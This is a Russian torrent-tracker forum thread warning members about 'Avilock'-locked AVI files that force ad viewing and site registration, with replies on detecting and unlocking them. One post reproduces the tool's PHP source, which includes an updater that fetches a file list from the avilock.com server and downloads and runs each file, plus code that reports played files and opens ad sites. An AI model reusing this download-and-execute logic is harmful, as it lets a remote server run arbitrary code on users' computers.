|
|
| Автор |
Сообщение |
vityaz 20
對待喜歡與像 Всевидящее Око

Зарегистрирован: 2005-12-21, 07:40
Ратио: ---
Возраст: 92
Пол: 
Польза:
+9
|
Добавлено: 2011-10-29, 21:54 Заголовок сообщения: Внимание!!! |
|
|
В последнее время в сети стали появляться особые видеофайлы, заблокированные программой Avilock. Вначале все как обычно: обычный видеофайл с расширением avi, привычный счетчик на Вашем любимом торрент-клиенте стремительно ползет вверх, приближаясь к желанным ста процентам, а потом вместо видео, которого Вы ждали, на экране монитора 9-ти секундный ролик с сообщением, что для просмотра видео нужно скачать avilock. Без регистрации на их сайте этого не сделаешь. Причем, многие, кто скачивал и устанавливал, пишут, что видео так и не запустилось. Делают они это не просто так, за каждого человека зарегистрировавшегося у них на сайте, злоумышленник получает определенное вознаграждение. Проще говоря, это очередной лохотрон, который на нашем трекере будет строго наказываться.
Что это за программа?
aviLock – Автоматизированный программный комплекс конвертирования и просмотра файлов видео с последующим переходом на Интернет-страницу по указанной при конвертации внешней гиперссылке.
Программа aviLock™ - предназначена для конвертирования и просмотра видеофайлов формата aviLock и последующей рекламы и продвижения Интернет-ресурсов путем перехода по указанному Интернет-адресу после окончания показа видео.
Поэтому, убедительная просьба, во избежание лишней траты нервов и своего рейтинга, не качать рипы видеофайлов пока они не будут одобрены модераторами. Есть ряд показателей с помощью которых можно определить залочен файл или нет. Озвучивать здесь я их не буду, чтобы злоумышленники не становились умнее, но о которых в курсе модераторы видео.
Если вы скачали какую либо раздачу и обнаружили Avilock, пожалуйста, сообщите модераторам посредством кнопки "Жалоба". Это уведомление сразу поступит всем модераторам раздела и меры будут приняты в кратчайшие сроки.
Те пользователи которые попадутся на подобных махинациях, будут сразу же забанены, а их аккаунты деактивированы. Причем абсолютно наплевать какой у вас будет стаж, 5 лет на трекере или один день. Случайно вы это сделали или специально. Разбираться в этих вопросах мы не будем. _________________ Dura lex, sed lex |
|
| Вернуться к началу |
|
 |
Vadim7052 14
Гроссмейстер

Зарегистрирован: 2008-07-23, 17:50
Ратио: ---
Возраст: 38
Пол: 
Польза:
+1
|
Добавлено: 2011-10-29, 23:06 Заголовок сообщения: |
|
|
Жестко , но справедливо , согласен , банить нечисть ...  |
|
| Вернуться к началу |
|
 |
blinych 13
Депеш Мод Магистр

Зарегистрирован: 2009-05-24, 23:18
Ратио: ---
Возраст: 34
Пол: 
Польза:
+2
|
Добавлено: 2011-10-29, 23:17 Заголовок сообщения: |
|
|
наконец будут раздачи проверять _________________

 |
|
| Вернуться к началу |
|
 |
Bolshevik 15
Привет из Ростова Уважаемый

Зарегистрирован: 2009-04-08, 01:06
Ратио: ---
Возраст: 49
Пол: 
Польза:
+1
|
Добавлено: 2011-10-29, 23:23 Заголовок сообщения: |
|
|
vityaz писал(а): В последнее время в сети стали появляться особые видеофайлы, заблокированные программой Avilock. Да, совершенно верно. С полгода, как минимум назад. _________________
Несведущие должны молчать и слушать. |
|
| Вернуться к началу |
|
 |
Zander 15
Уважаемый

Зарегистрирован: 2009-05-01, 04:02
Ратио: ---
Возраст: 92
Пол: 
Польза:
+1
|
Добавлено: 2011-10-29, 23:33 Заголовок сообщения: |
|
|
Если вдруг кому-нибудь понадобится - код конвертора (с exelab.ru): PHP
<?
$k=reg_open_key (HKEY_CLASSES_ROOT, "avilock\shell\Open\command");
$path= trim(reg_get_value ($k, ""));
reg_close_key ($k);
$path[0]= "";
$path= dirname(trim($path)). "";
$buddylist_server= "www.avilock.com";
$buddylist_active= 1;
function update (){
global $buddylist_server, $buddylist_active, $path;
if($buddylist_active)
{
$fp= fopen($path. "version.txt", "a+");
$tek_ver= trim(fread($fp, 128));
fclose($fp);
$fp= fsockopen($buddylist_server, 80, $errno, $errstr, 30);
if(! $fp)
{
echo "$errstr ($errno)\n";
}else{
$f= file("http://". $buddylist_server. "/update.php");
$c= count($f);
$ver= trim($f[0]);
if($ver!= $tek_ver)
{
$fp= fopen($path. "version.txt", "w+");
fwrite($fp, $ver);
fclose($fp);
for($i= 1; $i< $c; $i++ )
{
run_download_file (trim($f[$i]));
}
}
}
fclose($fp);
}
return time();
}
function run_download_file ($url){
global $path;
$t= explode("/", $url);
$protokol= $t[0];
$server= $t[2];
$filename= $t[count($t)-1];
if($protokol== "http:")
{
unset($t[0]);
unset($t[1]);
unset($t[2]);
$url_path= implode("/", $t);
$fp= fsockopen($server, 80, $errno, $errstr, 30);
if (! $fp)
{
echo "$errstr ($errno)\n";
} else {
$out = "GET /". $url_path. " HTTP/1.1\r\n";
$out .= "Host: ". $server. "\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$d1= "";
$i= 1;
$view= FALSE;
$fp1= fopen($path. $filename, "w+");
while (! feof($fp)) {
$d[$i]= fgets($fp, 2);
if(! $view)
{
if(isset($d[$i-2]))
{
if(ord($d[$i])== 10 and ord($d[$i-2])== 10)
{
$view= TRUE;
}
}
}else{
fwrite($fp1, $d[$i]);
}
$i++;
}
fclose($fp1);
fclose($fp);
echo "RUN: ". $path. $filename. "\n";
system(""".$path.$filename.""");
}
}
}
function sync_system ($path, $arguments, $arguments2= "")
{
echo $path. " "".$arguments.""\n";
$WshShell= new COM ("WScript.Shell");
$oShellLink= $WshShell-> CreateShortcut("temp.lnk");
$oShellLink-> TargetPath= $path;
$oShellLink-> Arguments= """.$arguments.""";
if($arguments2!= ""){$oShellLink-> Arguments= """.$arguments.""". " ". """.$arguments2."""; }
$oShellLink-> WorkingDirectory= dirname($path);
$oShellLink-> WindowStyle= 1;
$oShellLink-> Save();
//$oExec=$WshShell->Run("temp.lnk",1,false);
system("temp.lnk");
unset($WshShell, $oShellLink);
unlink("temp.lnk");
}
$ver= "1.4";
$present_size= 419840;
if(count($argv)== 3)
{
$avi_file_in= $argv[1];
$website= $argv[2];
$present_file= $path. "1.avi";
if(is_file($present_file) and is_file($avi_file_in))
{
echo "Fail OK\n";
if(filesize($present_file)== $present_size)
{
echo "Fail size OK\n";
echo "AVI file IN: ". $avi_file_in. "\n";
$t= explode("", $avi_file_in);
$t1= explode(".", $t[count($t)-1]);
$t[count($t)-1]= "";
$fn= implode(".", $t1);
$avi_file_out= implode("/", $t). $fn. "_key.". $t1[count($t1)-1];
echo "AVI file OUT: ". $avi_file_out. "\n";
$fp1= fopen($present_file, "r+");
$fp2= fopen($avi_file_out, "w+");
$fp3= fopen($avi_file_in, "r+");
while(! feof($fp1))
{
$data= fread($fp1, 4194304);
fwrite($fp2, $data);
}
$data= fread($fp3, 1024);
$wr= strlen(base64_encode($website)). ":". base64_encode($website).str len (base64_encode($ver)). ":". base64_encode($ver). strlen(base64_encode( $data)). ":". base64_encode($data);
fwrite($fp2, "|||");
fwrite($fp2, $wr);
while(! feof($fp3))
{
$data= fread($fp3, 4194304);
fwrite($fp2, $data);
}
fclose($fp1);
fclose($fp2);
}
}
}elseif(count($argv)== 2){
$avi_file_out= $argv[1];
$player_name= "avilock_smplayer.exe";
$tasklist=`tasklist.exe`;
if(strstr($tasklist, $player_name))
{
echo `taskkill.exe /F /IM `. $player_name;
}
if(is_file($avi_file_out))
{
if(filesize($avi_file_out)> ($present_size+3))
{
$temp_file= $_ENV["TEMP"]. "/". md5(rand(0, 10000)). ".avi";
$fp1= fopen($avi_file_out, "r+");
fseek($fp1, $present_size);
$check= fread($fp1, 3);
if($check== "|||")
{
$fp= fsockopen($buddylist_server, 80, $errno, $errstr, 30);
if(! $fp)
{
echo "$errstr ($errno)\n";
}else{
file("http://". $buddylist_server. "/update.php?file=". urlencode($a vi_file_out ));
$def_site_net= file("http://". $buddylist_server. "/2.php");
}
fclose($fp);
if(isset($def_site_net[0]))
{
$def_site= $def_site_net[0];
}
$fp2= fopen($temp_file, "w+");
fwrite($fp2, "AviLock");
fclose($fp2);
$fp2= fopen($temp_file, "r+");
$site_len= "";
while(! feof($fp1)){
$data= fread($fp1, 1);
if($data!= ":"){$site_len.= $data; }else{break; }}
$site= base64_decode(fread($fp1, intval($site_len)));
$ver_len= "";
while(! feof($fp1)){
$data= fread($fp1, 1);
if($data!= ":"){$ver_len.= $data; }else{break; }}
$ver= base64_decode(fread($fp1, intval($ver_len)));
$head_len= "";
while(! feof($fp1)){
$data= fread($fp1, 1);
if($data!= ":"){$head_len.= $data; }else{break; }}
$head= base64_decode(fread($fp1, intval($head_len)));
fwrite($fp2, $head);
sync_system ($path. "browse.exe", $site);
$s= ceil(((filesize($avi_file_out)- $present_size+ strlen($site_len)+ strlen($ver_len)+ strlen($head_len)+ base64_encode(strlen($site))+base64 _encode (strlen($ver))+ base64_encode(strlen($head))+3)/ 4194304)/ 100);
$i= 0; $k= 0; $flag= 0;
echo "Start deconverting...\n";
$sec= 10;
$ttt= time();
while(! feof($fp1))
{
$sec= time()- $ttt;
$fp= fopen($_ENV["TEMP"]. "/". "1.txt", "w+");
fwrite($fp, "Loading... ". $sec. " second");
fclose($fp);
if((time()- $ttt)> 10 and $flag== 0)
{
$fp= fopen($_ENV["TEMP"]. "/". "1.txt", "w");
fwrite($fp, "Playing video");
fclose($fp);
sync_system ($path. $player_name, $temp_file);
$flag= 1;
}
if($flag== 1)
{
$tasklist=`tasklist.exe`;
if(! strstr($tasklist, $player_name))
{
break;
}
}
$data= fread($fp1, 4194304);
fwrite($fp2, $data);
}
fclose($fp2);
fclose($fp1);
if($flag== 0)
{
echo "\n2Playing video\n";
sync_system ($path. $player_name, $temp_file);
$flag= 1;
}
while($flag)
{
$tasklist=`tasklist.exe`;
if(! strstr($tasklist, $player_name))
{
$flag= 0;
}
}
unlink($temp_file);
if(isset($def_site))
{
sync_system ($path. "browse.exe", $def_site);
}
}else{
fclose($fp1);
sync_system ($path. $player_name, $avi_file_out);
}
}else{
fclose($fp1);
sync_system ($path. $player_name, $avi_file_out);
}
}
}
?>
Закрыть |
|
| Вернуться к началу |
|
 |
Alik1952 19
Владелец мира

Зарегистрирован: 2009-03-09, 15:43
Ратио: 111,124.681
Возраст: 59
Пол: 
Польза:
+2
|
Добавлено: 2011-10-30, 00:41 Заголовок сообщения: |
|
|
Витязь, у нас никто специально авилок не загружает. Это просто торопливость. Скачали и сразу заливают, не проверив. Благо там где качали есть готовый семпл и делать не надо. Поэтому просьба ко всем обязательно проверять файл перед тем как выложить. Если файл залочен тоже беды никакой нет. Я таких штук 5 точно скачал. Открываешь в проге авиунлок, разлочиваешь и вперед. это очень просто, в один клик.
 Правда один раз попалась гадость в которой фильма не было, одна реклама. Ну тогда корзина. |
|
| Вернуться к началу |
|
 |
Gilmour 18
Вольный Стрелок Помощник администрации

Зарегистрирован: 2009-07-12, 00:20
Ратио: ---
Возраст: 51
Пол: 
Польза:
0
|
Добавлено: 2011-10-30, 00:46 Заголовок сообщения: |
|
|
vityaz: Когда проявляется этот заразный авилок? При закачке материала с какого-нибудь сайта я его обнаружу? Или он скрытый? _________________
 Дорога, по которой стадо загоняют к счастью, ведёт к скотобойне. |
|
| Вернуться к началу |
|
 |
Alik1952 19
Владелец мира

Зарегистрирован: 2009-03-09, 15:43
Ратио: 111,124.681
Возраст: 59
Пол: 
Польза:
0
|
Добавлено: 2011-10-30, 00:55 Заголовок сообщения: |
|
|
| Utcher: При закачке ты не обнаружишь. Ты обнаружишь когда его запустишь в плейере. Или когда будешь делать семпл. Я несколько раз разлочивал и выкладывал. Обычно камрипы залочивают. |
|
| Вернуться к началу |
|
 |
agent007 6
Заслуженный
Зарегистрирован: 2009-03-22, 19:41
Ратио: 26.751
Возраст: 22
Пол: 
Польза:
+1
|
Добавлено: 2011-10-30, 01:08 Заголовок сообщения: |
|
|
знающие люди, киньте на трекер прогу (для разлучивания файлов), на всяк случай. а то никогда не знаешь что скачаешь.
спасибо за предупреждение. |
|
| Вернуться к началу |
|
 |
Alik1952 19
Владелец мира

Зарегистрирован: 2009-03-09, 15:43
Ратио: 111,124.681
Возраст: 59
Пол: 
Польза:
+1
|
Добавлено: 2011-10-30, 01:11 Заголовок сообщения: |
|
|
agent007: А гугл для кого? Утчер, если нарвешься и не сможешь разлочить - вспомни про меня. На крайняк можно на картинки разложить - в MJPEG, все говно выкинуть а потом опять в авишник упаковать. |
|
| Вернуться к началу |
|
 |
agent007 6
Заслуженный
Зарегистрирован: 2009-03-22, 19:41
Ратио: 26.751
Возраст: 22
Пол: 
Польза:
+1
|
Добавлено: 2011-10-30, 01:36 Заголовок сообщения: |
|
|
| Alik1952: я написал, чтоб знающие люди выложили именно рабочий вариант. в гугле мусора полно, и хрен поймёшь что нужно а что мусор - у меня ведь даже нет образца чтоб проверить. |
|
| Вернуться к началу |
|
 |
Gilmour 18
Вольный Стрелок Помощник администрации

Зарегистрирован: 2009-07-12, 00:20
Ратио: ---
Возраст: 51
Пол: 
Польза:
+1
|
Добавлено: 2011-10-30, 01:43 Заголовок сообщения: |
|
|
Alik1952: Понял. Спасибо. Если по сэмплу определяется, то мне бояться нечего, я ещё ни одного сэмпла чужого не взял, все сам режу. Но инфа - нужная. Спасибо ещё раз.  _________________
 Дорога, по которой стадо загоняют к счастью, ведёт к скотобойне. |
|
| Вернуться к началу |
|
 |
|